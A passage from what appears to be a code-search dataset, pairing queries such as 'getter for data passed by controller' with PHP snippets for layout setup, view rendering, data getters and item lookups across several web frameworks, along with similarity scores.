$this->layout = View::make($this->layout);\n }\n }", "protected function setupLayout()\n\t{\n\t\tif (!is_null($this->layout)) {\n\t\t\t$this->layout = view($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n {\n if ( ! is_null($this->layout))\n {\n $this->layout = View::make($this->layout);\n }\n\n }", "protected function setupLayout()\n {\n if ( ! is_null($this->layout))\n {\n $this->layout = View::make($this->layout);\n }\n }", "protected function setupLayout()\n {\n if ( ! is_null($this->layout))\n {\n $this->layout = View::make($this->layout);\n }\n }", "protected function setupLayout() {\n if ( ! is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "protected function setupLayout()\n {\n if ( ! is_null($this->layout))\n {\n $this->layout = View::make($this->layout);\n }\n }", "protected function setupLayout()\n {\n if ( ! is_null($this->layout))\n {\n $this->layout = View::make($this->layout);\n }\n }", "protected function setupLayout()\n {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "protected function setupLayout()\n {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "protected function setupLayout()\n {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "protected function setupLayout()\n {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "protected function setupLayout()\n {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "protected function setupLayout()\n {\n if (! is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "protected function setupLayout()\n {\n if ( ! is_null($this->layout))\n {\n $this->layout = view($this->layout);\n $this->layout->menus = Menu::getMenu() ;\n }\n }", "protected function setupLayout()\n {\n if (!is_null($this->layout)) {\n $this->layout = \\View::make($this->layout);\n }\n }", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout) && ! $this->is_pjax())\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout, $this->_data);\n\t\t\t$this->layout->content = null;\n\t\t\t$this->layout->currentProject = null;\n\t\t}\n\t}", "protected function setupLayout() {\n\t\tif ( ! is_null($this->layout)) {\n\n\n\t\t\t$cb_js_var = array(\n\t\t\t\t'site_url' => url('/'),\n\t\t\t\t'admin_url' => url('/admin'),\n\t\t\t\t'admin_assets_url' => asset('packages/vizioart/cookbook/'),\n\t\t\t\t'admin_api_url' => url('/admin/api')\n\t\t\t);\n\n\n\t\t\t$this->layout = View::make($this->layout, array(\n\t\t\t\t'cb_js_var' => $cb_js_var\n\t\t\t));\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\t$button['text'] = \"login\";\n\t\t$button['url'] = route('login');\n\n\t\tif(Auth::check())\n\t\t{\n\t\t\t$button['text'] = \"logout\";\n\t\t\t$button['url'] = route('logout');\n\t\t\t$this->logged_in_user = Auth::user();\n\t\t\t$notif = new Notification();\n\t\t\t$notifications = $notif->getNotifications($this->logged_in_user->id);\n\t\t\t$new = 0;\n\t\t\tforeach ($notifications as $not) {\n\t\t\t\tif($not->seen == 0)\n\t\t\t\t{\n\t\t\t\t\t$new++;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$rating_types = RatingType::getRatingTypes($this->logged_in_user->id);\n\n\t\t\tView::share('notifications', $notifications);\n\t\t\tView::share('new', $new);\n\t\t\tView::share('rating_types', $rating_types);\n\t\t\tView::share('logged_in_user', $this->logged_in_user);\n\t\t}\n\n\t\tView::share('button', $button);\n\t\tView::share('show_feed', $this->show_feed);\n\t\t//Get image path info for all poster and backdrop images\n\t\t$t = new TheMovieDb();\n \t\t$this->image_path_config = $t->getImgPath();\n\t\tView::share('image_path_config', $this->image_path_config);\n\n\n\t\t\n\n\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\n\t\t$this->setLocale();\n\t}", "public function initLayout();", "protected function setupLayout()\n {\n if ( ! is_null($this->layout))\n {\n\n if (Request::Ajax())\n {\n $this->layout = View::make('layouts.ajax');\n }\n else\n $this->layout = View::make($this->layout);\n\n $this->layout->content = \" \";\n }\n }", "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\treturn $this->layout = View::make($this->layout);\n\t\t}\n\t}", "public function init()\n {\n \t$this->view->layout = array();\n }", "function renderApplication(){\n\tinclude getApplicationSystemPath() . \"/public/layout/layout.php\";\t\n}", "protected function setupLayout() {\n\t\t$this->data['route'] = Route::getCurrentRoute()->getPath();\t\n\t\tif ( ! is_null($this->layout)) {\n\t\t\t$this->data['enrolledCourses'] = NULL;\n\t\t\t\n\t\t\tif (Auth::check() && in_array(Auth::user()->user_type, array(3, 5))) {\n\t\t\t\t$this->data['enrolledCourses'] = EnrolledCourses::getEnrolledCourses();\n\t\t\t\t$this->data['endedCourses'] = EnrolledCourses::getEndedCourses();\n\t\t\t\t$this->data['profiling'] = User::getRegProfile();\t\n\t\t\t\t$this->data['profiling_ctr'] = $this->data['profiling'];\t\t\t\t\n\t\t\t} else if (Auth::check() && Auth::user()->user_type == 2) {\n\t\t\t\t$this->data['assigned_courses'] = Courses::getAssignedCourses();\n\t\t\t}\n\n\t\t\t$this->layout = View::make($this->layout, $this->data);\n\t\t}\n\t}", "protected function makeViewLayout()\n {\n new MakeLayout($this, $this->files);\n }", "protected function initializeStandaloneViewInstance() {}", "public function layout() {\r\n $this->template['header'] = $this->load->view('common/header', $this->data, true);\r\n $this->template['content'] = $this->load->view($this->content, $this->data, true);\r\n $this->template['footer'] = $this->load->view('common/footer', $this->data, true);\r\n $this->load->view('common/layout', $this->template);\r\n }", "public function initialize()\n {\n\t\tparent::initialize();\n\t\t$this->viewBuilder()->layout('admin');\n\t\t\n }", "protected function initLayout()\n {\n $showLabels = $this->hasLabels();\n $showErrors = $this->getConfigParam('showErrors');\n $this->mergeSettings($showLabels, $showErrors);\n $this->buildLayoutParts($showLabels, $showErrors);\n }", "protected function setupLayout()\n\t{\n\n $this->user = Auth::user();\n $this->theme = Theme::uses('default')->layout('default');\n $user = $this->user;\n $this->theme->bind('user', function() use($user)\n {\n return $user;\n });\n $cat = Category::all();\n $this->theme->bind('cat', function() use($cat)\n {\n return $cat;\n });\n if (Session::get('cart')){\n $cart_count = count(Session::get('cart'));\n $this->theme->bind('cart_count', function() use($cart_count)\n {\n return $cart_count;\n });\n }\n\t}", "private function requireView() {\n /**\n * Lista blanca de rutas de URL\n */\n switch ($this->uri) {\n case '':\n case 'index':\n require_once 'index.view.php';\n break;\n\n default: \n //Pagina de error\n require_once 'not_found.view.php';\n break;\n }\n }", "public function init() {\n Zend_Layout::startMvc();\n $this->_helper->layout->setLayout('default');\n }", "public function setLayout() {\n if ($this->controller == 'login' || $this->controller == 'infos') {\n $this->viewBuilder()->setLayout('empty');\n } else if ($this->controller == 'ajax') {\n $this->viewBuilder()->setLayout('ajax');\n } else {\n $this->viewBuilder()->setLayout('chotreo');\n }\n }", "public function render_screen_layout()\n {\n }", "public function init()\n {\n $this->getBootstrap()->bootstrap('view');\n $this->_view = $this->getBootstrap()->getResource('view');\n $this->setHeadLinks();\n }", "public function init() {\n\t\t$this->_helper->layout->disableLayout();\n\t\t$this->_helper->viewRenderer->setNeverRender();\n\t}", "public function init()\n {\n $this->getHelper('layout')->setLayout('manage-layout');\n }", "public function init()\n\t{\n\t\t$this->_helper->layout()->setLayout('home');\n\t}", "public function init()\n {\n $this->_helper->layout()->setLayoutPath(APPLICATION_PATH . \"/layouts/scripts/\");\n $this->_helper->layout()->setLayout('admin');\n }", "function beforeLayout() {\n }", "public function init(){\r\n\t\t//Zend_Layout::startMvc($options);\r\n\r\n\r\n\t}", "protected function setAuthenticatedPageLayout() {\n if (!$this->app->router->isWsCall) {\n require __ROOT__ . Enums\\ApplicationFolderName::AppsFolderName . $this->app->name() . Enums\\FileNameConst::HeaderTemplate;\n// require __ROOT__ . Enums\\ApplicationFolderName::AppsFolderName . $this->app->name() . Enums\\FileNameConst::HeaderTemplate;\n }\n\n require __ROOT__ . Enums\\ApplicationFolderName::AppsFolderName . $this->app->name() . Enums\\FileNameConst::ContenTemplate;\n\n if (!$this->app->router->isWsCall) {\n require __ROOT__ . Enums\\ApplicationFolderName::AppsFolderName . $this->app->name() . Enums\\FileNameConst::FooterTemplate;\n }\n }", "public function apply_layout()\n\t{\n\t\tif (!$this instanceof Controller)\n\t\t\tthrow new Kohana_Exception('The `Component_DefaultLayout` trait must be used by Controller class');\n\n // if we are logged in, we'll send user to tmpl\n $usr = Auth::instance()->logged_in()\n ? Auth::instance()->get_user()\n : null;\n\n\t\t$content = $this->response->getBody();\n\t\t$layout = View::factory('layouts/default', [\n\t\t\t'content' => $content,\n\t\t\t'template_settings' => $this->template_settings,\n 'user' => $usr,\n\t\t]);\n\n\t\t$this->response->body($layout);\n\t}", "public function renderLayout();", "public function execute()\n {\n $this->_view->loadLayout();\n $this->_view->renderLayout();\n }", "public function execute()\n {\n $this->_view->loadLayout();\n $this->_view->renderLayout();\n }", "public function init()\n\t{\n\n\t\tZend_Layout::startMvc(APPLICATION_PATH . '/layouts/');\n\n\t\t$ZL = Zend_Layout::getMvcInstance();\n\n\t\t$ZL->setViewSuffix('php');\n\t\t$view = Zend_Layout::getMvcInstance()->getView();\n\t\t//for layout setting -------- end --------------\n\n\t\tZend_Loader::loadClass('Zend_View');\n\n\t\t$this->view = new Zend_View();\n\t\t$this->view->setScriptPath(APPLICATION_PATH.'/views');\n\t\t$this->_getModel();\n\t\t$this->auth = new Zend_Session_Namespace('Zend_Auth');\n\t\t$controller = Zend_Controller_Front::getInstance();\n\t\t$this->view->baseUrl=$controller->getBaseUrl();\n\t////////////////////////////Module include//////////////////////\n\t\t$this->_loadModel('Users.php');\n\t\t\n\n\t//////////////// calendar////////////\n\t}", "public function init()\n {\n // $this->_helper->layout->setLayout('userarea');\n }", "public function launch()\r\n {\r\n // Extract data to be usable inside the view file\r\n extract($this->data);\r\n\r\n // Expected view file format is\r\n // viewfolder.viewfile\r\n $view_file = str_replace(\".\", \"/\", $this->view_file);\r\n\r\n // Require view\r\n require path('app').'/views/'.$view_file.'.php';\r\n }", "protected function setNonAuthenticatedPageLayout() {\n if (!$this->app->router->isWsCall) {\n require __ROOT__ . Enums\\ApplicationFolderName::AppsFolderName . $this->app->name() . Enums\\FileNameConst::HeaderTemplate;\n }\n\n require __ROOT__ . Enums\\ApplicationFolderName::AppsFolderName . $this->app->name() . Enums\\FileNameConst::ContenTemplate;\n\n if (!$this->app->router->isWsCall) {\n require __ROOT__ . Enums\\ApplicationFolderName::AppsFolderName . $this->app->name() . Enums\\FileNameConst::FooterTemplate;\n }\n }", "public function init(){\n\t\t$this->_helper->layout->setLayout('layout_login');\n\t}", "public function init()\n {\n \t$this->_helper->layout()->setLayout('admin');\n }", "protected function _initViewHelpers() { \n $this->bootstrap('layout'); \n \n //***layout\n $layout = $this->getResource('layout'); \n $view = $layout->getView(); \n $view->doctype('XHTML1_STRICT'); \n $view->headMeta()->appendHttpEquiv('Content-Type', 'text/html;charset=utf-8'); \n\n $view->headTitle('Inusual'); \n\n //*** the css here\n $view->headLink(array('rel' => 'favicon','href' => '/img/favicon.ico',), 'PREPEND')\n ->appendStylesheet('/st_rep/st/public/css/estilo.css')\n ->prependStylesheet( '/st_rep/st/public/css/ui-lightness/jquery-ui-1.10.0.custom.min.css', 'screen',true,array('id' => 'my_stylesheet'));\n \n //*** the js here \n $view->headScript()->appendFile('/st_rep/st/public/js/jquery.min.js');\n \t $view->headScript()->appendFile('/st_rep/st/public/js/jquery.dataTables.min.js');\n $view->headScript()->appendFile('/st_rep/st/public/js/jquery-ui-1.9.2.custom.min.js');\n $view->headScript()->appendFile('/st_rep/st/public/js/main.js');\n\n //*** the mesage js here\n $view->headScript()->appendFile('/st_rep/st/public/js/mesage/jquery.noty.js');\n $view->headScript()->appendFile('/st_rep/st/public/js/mesage/topRight.js');\n $view->headScript()->appendFile('/st_rep/st/public/js/mesage/center.js');\n $view->headScript()->appendFile('/st_rep/st/public/js/mesage/bottomCenter.js');\n $view->headScript()->appendFile('/st_rep/st/public/js/mesage/topCenter.js');\n $view->headScript()->appendFile('/st_rep/st/public/js/mesage/default.js');\n $view->headScript()->appendFile('/st_rep/st/public/js/mesage/mesage.js');\n \n\n //***helper_cliente cliente buscar\n $view->headScript()->appendFile('/st_rep/st/public/js/clientebuscar.js');\n \n }", "protected function _constructMainLayout()\n {\n if (class_exists('tracer_class')) {\n tracer_class::marker(array(\n 'create main layout for display',\n debug_backtrace(),\n '#006400'\n ));\n }\n\n if ($this->_get) {\n $typ = $this->_get->pageType();\n } else {\n $typ = NULL;\n }\n\n switch ($typ) {\n case'css': case'js':\n $this->DISPLAY['core'] = '{;css_js;}';\n break;\n\n default:\n $this->layout($this->_defaultOptions['template']);\n break;\n }\n }", "function loadLayout($get_where=\"\",$layoutPath=\"layout/\",$layoutFile=\"layout.php\") {\n\t\tglobal $__;\n\t\t$__['main'] = $__['pathPage'].$get_where;\n include $layoutPath.$layoutFile;\n\t}", "protected function _initDoctype()\r\n {\r\n// $this->bootstrap('view');\r\n// $view = $this->getResource('view');\r\n//\r\n// $view->headTitle('Module Frontend');\r\n// $view->headLink()->appendStylesheet('/css/clear.css');\r\n// $view->headLink()->appendStylesheet('/css/main.css');\r\n// $view->headScript()->appendFile('/js/jquery.js');\r\n// $view->doctype('XHTML1_STRICT');\r\n //$view->navigation = $this->buildMenu();\r\n }", "public function preDispatch( Zend_Controller_Request_Abstract $request )\n\t{\n\t\t$layout = Zend_Layout::getMvcInstance();\n\t\t$path = APPLICATION_PATH .'/modules/'. $request->getModuleName() .'/layouts';\n\t\tif( file_exists($path) )\n\t\t\t$layout->setLayoutPath( $path );\n\t}", "protected function loadView()\n {\n }", "protected function loadView()\n {\n }", "public function init() {\n parent::init();\n $this->layout = 'static';\n }", "public function init() {\n\t\tAnnuaire_User::mustBeConnected();\n\t\t$this->view->setLayout(\"default\");\n\t\t$this->view->addLayoutVar(\"onglet\", 4);\n\t}", "public function connectAction()\n {\n $this->loadLayout();\n $this->renderLayout();\n }", "public function xlayouts() {\n\t\t$templates = $this->getModel ( 'layout' );\n\t\t$templates->getAll ( 'appliesto = \"Global\"' );\n\t\t/* set last view into session */\n\t\t$this->session->returnto ( $this->getView () );\n\t\t\n\t\t$this->setView ( 'layouts' );\n\t}" ]
[ "0.7654888", "0.7643382", "0.7595609", "0.75500274", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7539745", "0.7531979", "0.752776", "0.75207", "0.75049454", "0.7488579", "0.7488496", "0.74633634", "0.74300873", "0.74300873", "0.7426521", "0.7421863", "0.7421863", "0.74181837", "0.74181837", "0.74181837", "0.74181837", "0.74181837", "0.7401125", "0.7373336", "0.73587155", "0.7356495", "0.7319687", "0.7232399", "0.71754444", "0.71176636", "0.7115315", "0.70808685", "0.7067928", "0.70033044", "0.6999674", "0.69953674", "0.6940525", "0.6900965", "0.6870752", "0.6866027", "0.6817027", "0.6811545", "0.680234", "0.68022525", "0.67753273", "0.67719376", "0.67345464", "0.6694928", "0.6657068", "0.6643528", "0.66372323", "0.6627811", "0.6611148", "0.66102046", "0.6596535", "0.6583359", "0.65820855", "0.65820855", "0.6568221", "0.65544325", "0.6538805", "0.6533652", "0.6511225", "0.65103465", "0.6494121", "0.6479641", "0.6475067", "0.64687884", "0.6467407", "0.6450528", "0.6450528", "0.6450098", "0.64250475", "0.64035004", "0.6401503" ]
0.0
-1
getter for data passed by controller
public function getData() { return $this->data; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function& getControllerData()\n\t{\n\t\treturn $this->controllerData;\n\t}", "public function cData() : ControllerData {\n return $this -> controllerData;\n }", "function get_data() {\r\n return $this->data;\r\n }", "protected function getData() { }", "public function getData() {}", "public function get_data()\n {\n\n\n }", "public function get_data();", "public function getData()\r\n {\r\n }", "public function getData()\n {\n }", "public function getData()\n {\n }", "public function getData()\n {\n }", "public function getData()\n {\n }", "public function getData()\n {\n }", "public function getData()\n {\n }", "public function getData()\n {\n }", "public function getData()\n {\n }", "public function getData()\n {\n }", "public function get_data()\n {\n }", "public function get_data()\n {\n }", "public function get_data()\n {\n }", "public function get_data()\n {\n }", "public function getData(){\n\t\treturn $this->data;\n\t}", "public function getData(){\n\t\treturn $this->data;\n\t}", "public function getData(){\n\t\treturn $this->data;\n\t}", "public function get_data() {\r\n return $this->data;\r\n }", "public function getData()\n {\n }", "function getData()\n {\n $method = $this->getMethod();\n $return = null;\n if ($method == 'GET') {\n $return = $_GET;\n } else if ($method == 'POST') {\n $return = $_POST;\n }\n\n return $return;\n }", "public function get_data()\n\t\t{\t\t// Should there be a common method for this?\n\t\t}", "public function get_data() {\n return $this->data;\n }", "function getData()\r\n {\r\n //if POST or PUT get the data wiht file_get_contents\r\n if ($this->request === \"POST\" || $this->request === \"PUT\") {\r\n $this->preCleanData = JSON_decode(file_get_contents(\"php://input\"));\r\n //else get the ID from $_get\r\n } else if ($this->request === \"GET\" || $this->request === \"DELETE\") {\r\n if (isset($_GET['ID'])) {\r\n $this->data = $_GET['ID'];\r\n return;\r\n } else {\r\n return;\r\n }\r\n }\r\n $this->cleanData();\r\n }", "function getData() {\n\t\treturn $this->data;\n\t}", "public function get_data() {\r\n\t\treturn $this->data;\r\n\t}", "public function get_data() {\n\t\treturn $this->data;\n\t}", "public function getData(): mixed;", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function data()\n {\n return $this->data; \n }", "public function get_data() {\n $data = parent::get_data();\n if ($data !== null) {\n }\n return $data;\n }", "public function getData() {\n return $this::$data;\n }", "public function getData(){\n\n return $this->data;\n }", "function getData()\n {\n return $this->_data;\n }", "public function getData()\n {\n return $this->data;\n }", "public function getData()\n {\n // TODO: Implement getData() method.\n }", "public function getData()\n {\n // TODO: Implement getData() method.\n }", "public final function getData(){\n return $this->data;\n }", "public function get_data() {\n return $this->_view;\n }", "function getDataFromRequest( &$data ) {\n\n\t\t$requestVar = KRequest::getInt($this->propertyName, NULL);\n\n\t\tif (empty($requestVar)) {\n\t\t\t$data->{$this->propertyName} = NULL;\n\t\t}\n\t\telse {\n\t\t\t$data->{$this->propertyName} = $requestVar;\n\t\t}\n\n\t}", "public function getData() {\n return $this->data;\n }", "protected function getData()\n {\n return $this->data;\n }", "public function data()\n {\n return $this->data;\n }", "public function getData()\r\n {\r\n return $this->data;\r\n }", "public function getData() \n\t{\n return $this->data;\n }", "protected function getData()\n {\n return $this->mixed;\n }", "public function getData () {\n return $this->data;\n }", "public function getData() {\r\n return $this->data;\r\n }", "public function data(){\r\n\t\treturn $this->_data;\r\n\t}", "public function data();", "public function data();", "public function get_data()\n {\n return $this->_data;\n }", "protected static function getData()\n {\n }", "public function getData()\n\t{\n\t\treturn $this->data;\n\t}", "public function getData()\n\t{\n\t\treturn $this->data;\n\t}", "public function getData()\n\t{\n\t\treturn $this->data;\n\t}", "public function getData()\n\t{\n\t\treturn $this->data;\n\t}", "public function data()\n {\n \tif (!isset($this->data)) {\n \t\t$this->setData();\n \t}\n \t\n \treturn $this->data->data();\n }", "public function data()\n {\n return $this->data;\n }", "public function data()\n {\n return $this->data;\n }", "public function data()\n {\n return $this->data;\n }", "public function data()\n {\n return $this->data;\n }", "public function data()\n {\n return $this->data;\n }", "public function data()\n {\n return $this->data;\n }" ]
[ "0.74758565", "0.7222951", "0.7091985", "0.70475614", "0.7016556", "0.6883218", "0.6863118", "0.6849797", "0.6848787", "0.6848787", "0.6848787", "0.6848787", "0.6848787", "0.6848787", "0.6848787", "0.6848787", "0.6848787", "0.6817277", "0.6817277", "0.6817277", "0.68172276", "0.6806904", "0.6806904", "0.6806904", "0.679945", "0.6794671", "0.6789623", "0.6766009", "0.6756523", "0.67443305", "0.6741233", "0.6727378", "0.6726267", "0.6722025", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6721961", "0.6696209", "0.66953325", "0.66906464", "0.6685729", "0.6679838", "0.6659942", "0.6645705", "0.6645705", "0.66420156", "0.66418886", "0.6640231", "0.6634834", "0.66217595", "0.6609642", "0.66017324", "0.6590815", "0.6580593", "0.65749854", "0.6542219", "0.6522964", "0.65135235", "0.65135235", "0.65097684", "0.6504101", "0.648876", "0.648876", "0.648876", "0.648876", "0.6487879", "0.64867043", "0.64867043", "0.64867043", "0.64867043", "0.64867043", "0.64867043" ]
0.0
-1
get item from data if exists
public function item($name) { return isset($this->data[$name]) ? $this->data[$name] : false; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function getItem() ;", "abstract function get ($item);", "abstract public function getItem();", "public function getItem();", "public function find(): ?object {\n\t\tforeach ( $this->filter_item_keys() as $item_key ) {\n\t\t\tif ( ! isset( $this->items[ $item_key ] ) ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$item = $this->filter_item( $this->items[ $item_key ] );\n\n\t\t\tif ( $item ) {\n\t\t\t\treturn $item;\n\t\t\t}\n\t\t}\n\n\t\treturn null;\n\t}", "public function getItem($id) {\n foreach($this->all as $item) {\n if ($id == $item->getId()) {\n return $item;\n }\n }\n }", "public function getById($id) {\n \t// if id exists in cache return value\n \t$item = (isset($this->data[$id])) ? $this->data[$id] : false;\n \t// else load single entry from db to cache\n \tif (!$item)\n \t$this->loadData(EBlazonDataType::SINGLE, $id);\n\t\t// return item or false\n return (isset($this->data[$id])) ? $this->data[$id] : false;\n }", "protected function getSingle($key) \n {\n if ($this->exists($key)) {\n return is_array($this->items[$key]) ? new ArrayOk($this->items[$key]) : $this->items[$key];\n }\n }", "function findItem($type, $id)\n {\n foreach ($this->getItems() as $item)\n if ($item->item_id == $id && $item->item_type == $type)\n return $item;\n return null;\n }", "public function retrieve($item);", "public function getItem() {}", "public function getItem() {}", "public function getItemByKey($key) {\n return isset($this->data[$key])?$this->data[$key]:null;\n }", "function get_data_item( $name ) {\n\t\treturn $this->data_layer()->get_item( $name );\n\t}", "public function get($key) {\n try{\n if (isset($this->Items[$key])) {\n return $this->Items[$key];\n } else {\n return false;\n }\n }catch(Exception $e){\n throw $e;\n }\n }", "private function get_item_from_api() {\n\t\t$result = false;\n\n\t\t// Sanity check.\n\t\tif ( is_array( $this->vendor_api ) && isset( $this->vendor_api['translations'] ) && is_array( $this->vendor_api['translations'] ) ) {\n\n\t\t\t// Loop results.\n\t\t\tforeach ( $this->vendor_api['translations'] as $translation ) {\n\n\t\t\t\t// Check if item exists for the language and version specified.\n\t\t\t\tif ( isset( $translation['language'] ) && $this->lang === $translation['language'] && isset( $translation['version'] ) && $this->ver === $translation['version'] ) {\n\t\t\t\t\t$result = $translation;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Return the result (falls-back to false if none was found).\n\t\treturn $result;\n\t}", "public function getById($id) {\n foreach ($this->items as $item) {\n if ($item->id() == $id) {\n return $item;\n }\n }\n \n return null;\n }", "function getItem( $id = null ){\r\n\t\tif( $id === null ){\r\n\t\t\t$id = rsgInstance::getInt( 'id', null );\r\n\r\n\t\t\tif( $id === null ){\r\n\t\t\t\t// there is no item set, return the first value from getItems()\r\n\t\t\t\t$items = $this->items();\r\n\r\n\t\t\t\treturn array_shift( $items );\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t$items = $this->items();\r\n\t\treturn $items[$id];\r\n\t}", "public function getItem($key)\n\t{\n\t\tif(array_key_exists($key, $this->items))\n\t\t{\n\t\t\treturn $this->items[$key];\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn null;\n\t\t}\n\t}", "function findItem($id, $path)\n{\n $arrayData = getTrashData($path);\n foreach ($arrayData as $item) {\n if($item[\"id\"] == $id){\n return $item;\n }\n }\n return false;\n}", "protected function lookupData()\n\t{\n\t\t//nope, load it normally.\n\t\t$data = $this->getData(true);\n\t\tif (count($data) && is_array($data))\n\t\t\n\t\tif (!empty($data))\n\t\t\t$this->hydrate($data);\n\t}", "public function get($which,$key)\n\t{\n // iterate over the data until we find the one we want\n foreach ($this->all() as $record){\n if ($record->menu_id == $which && $record->inventory_id == $key){\n return $record;\n }\n }\n return null;\n\t}", "public function getItem($key){}", "abstract public function getItem($name);", "function item_get()\n {\n $key = $this->get('id');\n $result = $this->supplies->get($key);\n if ($result != null)\n $this->response($result, 200);\n else\n $this->response(array('error' => 'Supplies item not found!'), 404);\n }", "abstract protected function get_item_from_db($item_id);", "public function getItem( $id );", "public function getItemById($it_id)\n\t{\n\t\treturn \\ORM::for_table($this->table)->where('it_id', $it_id)->find_one();\n\t}", "public function get($key) {\n\t\tif(array_key_exists($key, $this->data)) return $this->data[$key]; \n\t\t\telse return null;\n\t}", "public function item($id)\n {\n foreach (static::$basket[$this->id] as $item) {\n if ($item->id == $id) return $item;\n }\n return false;\n }", "function &get($key) {\n\t\tif ($key=='_id')\n\t\t\treturn $this->id;\n\t\tif (array_key_exists($key,$this->item))\n\t\t\treturn $this->item[$key];\n\t\tuser_error(sprintf(self::E_Field,$key),E_USER_ERROR);\n\t\treturn FALSE;\n\t}", "public function get($which)\n\t{\n\t\t// iterate over the data until we find the one we want\n\t\tforeach ($this->data as $record)\n\t\t\tif ($record['id'] == $which)\n\t\t\t\treturn $record;\n\t\treturn null;\n\t}", "public function loadItem($value): ItemInterface;", "public function findItem(string $sku): ?CartItem;", "public function get($which)\n\t{\n\t\t// iterate over the data until we find the one we want\n\t\tforeach ($this->recipes as $record)\n\t\t\tif ($record['id'] == $which)\n\t\t\t\treturn $record;\n\t\treturn null;\n\t}", "public function getItem ($id);", "public function getItemByIndex($i) {\n if(isset($this->data[$i])) :\n return $this->data[$i];\n elseif($i<$this->count()) : \n $keys = array_keys($this->data);\n if(isset($keys[$i])) :\n return $this->data[$keys[$i]];\n endif;\n endif; \n return null;\n }", "function load($key,$val) {\n\t\tif ($found=$this->find($key,$val)) {\n\t\t\t$this->id=$found[0]->id;\n\t\t\treturn $this->item=$found[0]->item;\n\t\t}\n\t\t$this->reset();\n\t\treturn [];\n\t}", "function getItem($name){\n\t\t$i = cacheItem::getInstance($name);\n\t\tif(empty($i->cacheTime) && empty($i->content) ){\n\t\t\t$datas = $this->db->select_row(self::$tableName,'*',array('WHERE name=?',$name));\n\t\t\tif( false !== $datas)\n\t\t\t\t$i->setDatas($datas);\n\t\t}\n\t\treturn $i;\n\t}", "public function getItem()\n\t{\n\t\tif (!isset($this->item))\n\t\t{\n\t\t\t$query = $this->_db->getQuery(true);\n\t\t\t$query->select('*');\n\t\t\t$query->from('#__document');\n\t\t\t$query->where('id = '.(int)$this->getState('document.id'));\n\t\t\t$this->_db->setQuery($query);\n\t\t\t$item = $this->_db->loadObject();\n\n\t\t\t// Check for a database error.\n\t\t\tif ($this->_db->getErrorNum())\n\t\t\t{\n\t\t\t\t$this->setError($this->_db->getErrorMsg());\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t$this->item = $item;\t\t\n\t\t}\n\t\treturn $this->item; \n\t}", "public function getItemByMultiple($item_data)\n\t{\n\t\t$where = array();\n\t\tif(isset($item_data['it_id'])){\n\t\t\t$where['it_id'] = $item_data['it_id'];\n\t\t}\n\t\tif(isset($item_data['owner_id'])){\n\t\t\t$where['owner_id'] = $item_data['owner_id'];\n\t\t}\n\t\treturn \\ORM::for_table($this->table)->where($where)->find_one();\n\t}", "function get_data($id,$data = \"*\"){\n $rec = $this->get_record($this->pk,$id);\n if(count($rec)==1){\n //return data\n return ($data == \"*\")?$rec[0]:$rec[0][$data];\n }\n}", "public function get($id)\n\t{\n\t\t// iterate over the data until we find the one we want\n\t\tforeach ($this->data as $record)\n\t\t\tif ($record['code'] == $id)\n\t\t\t\treturn $record;\n\t\treturn null;\n\t}", "public function getItem($id) {\n $item_url = $this->constructItemUrl($id);\n // Get the JSON object at the specified URL\n $json = $this->loadJSONUrl($item_url);\n if ($json) {\n return $json;\n }\n else {\n $migration = Migration::currentMigration();\n $message = t('Loading of !objecturl failed:', array('!objecturl' => $item_url));\n $migration->getMap()->saveMessage(\n array($id), $message, MigrationBase::MESSAGE_ERROR);\n return NULL;\n }\n }", "abstract protected function getItem(string $key);", "public function getItem($id)\n {\n return $this->where('id', $id)->first();\n }", "public function itemAt($key)\n\t{\n\t\treturn isset($this->_d[$key]) ? $this->_d[$key] : null;\n\t}", "public function getItem($id)\n {\n $this->loadItems();\n return isset($this->items[$id]) ? $this->items[$id] : null;\n }", "public function retrieveItem($id) {\n return $this->itemsDB->retrieve($id);\n }", "public function get($which)\n {\n foreach ($this -> data as $value)\n if ($value[\"id\"] == $which)\n return $value;\n return null;\n }", "public function get($which)\n {\n // iterate over the data until we find the one 